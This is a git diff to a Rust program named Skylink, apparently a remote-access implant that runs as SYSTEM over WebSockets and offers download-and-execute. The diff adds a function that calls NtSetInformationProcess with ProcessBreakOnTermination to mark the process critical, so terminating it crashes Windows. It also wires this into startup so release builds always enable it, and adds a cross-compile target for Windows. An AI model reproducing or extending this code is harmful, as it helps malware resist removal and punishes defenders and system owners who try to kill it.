diff --git a/.cargo/config.toml b/.cargo/config.toml
new file mode 100644
index 0000000..ba54493
--- /dev/null
+++ b/.cargo/config.toml
@@ -0,0 +1,2 @@
+[build]
+target = "x86_64-pc-windows-gnu"
diff --git a/README.md b/README.md
index 20e61b7..a6d5c0e 100644
--- a/README.md
+++ b/README.md
@@ -12,7 +12,7 @@ It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, becaus
 - [X] download and execute
 - [X] dnx python
 - [X] windows service
-- [ ] criticality
+- [X] criticality
 - [ ] screenshot functionality
 - [ ] test payloads with arguments
 - [ ] get more ideas from The Group(TM) i guess
diff --git a/src/lib/winapi.rs b/src/lib/winapi.rs
index 31f6f25..308c7c1 100644
--- a/src/lib/winapi.rs
+++ b/src/lib/winapi.rs
@@ -90,3 +90,25 @@ pub fn run_as_user(app: &str, cmd: &str) -> anyhow::Result<()> {
     Ok(())
   }
 }
+
+pub fn mark_process_critical() -> anyhow::Result<()> {
+    use ntapi::ntpsapi::{NtSetInformationProcess, ProcessBreakOnTermination};
+	  use ntapi::winapi::{ctypes::c_void, um::winnt::HANDLE};
+	
+	  unsafe {
+	      // NtCurrentProcess pseudo-handle (-1)
+	      let handle: HANDLE = (-1isize) as usize as *mut c_void;
+	      let mut critical: u32 = 1;
+	      let status = NtSetInformationProcess(
+	          handle,
+	          ProcessBreakOnTermination,
+	          &mut critical as *mut _ as *mut _,
+	          core::mem::size_of::<u32>() as u32,
+	      );
+	      if status == 0 {
+	          Ok(())
+	      } else {
+	          anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}"))
+	      }
+	  }
+}
diff --git a/src/main.rs b/src/main.rs
index 20bdc49..37a1ac9 100644
--- a/src/main.rs
+++ b/src/main.rs
@@ -1,7 +1,10 @@
 use skylink::lib::logger::{LogLevel, log};
+use futures_util::SinkExt;
 use skylink::lib::websockets::websocket_handler;
+use skylink::lib::winapi::mark_process_critical;
 use skylink::LOG_PATH;
 use skylink::WsTx;
+use tokio_tungstenite::tungstenite::Message;
 use std::sync::Arc;
 use tokio::sync::Mutex;
 use std::ffi::OsString;
@@ -47,7 +50,16 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
   log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
   let ws_tx: WsTx = Arc::new(Mutex::new(None));
   let ws_tx_for_handler = Arc::clone(&ws_tx);
-  websocket_handler(ws_tx_for_handler).await;
+  tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; });
+
+  // this isn't necessary for program functioning
+  // and also error handling this is a PITA
+  // maybe i'll make this proper in a future update. no promises.
+  let is_debug_mode = cfg!(debug_assertions);
+  let force_console = std::env::var("SKL_NON_CRITICAL").is_ok();
+  if !(is_debug_mode && force_console) {
+    let _ = mark_process_critical(); 
+  }
 
     // Wait for the shutdown signal
     tokio::select! {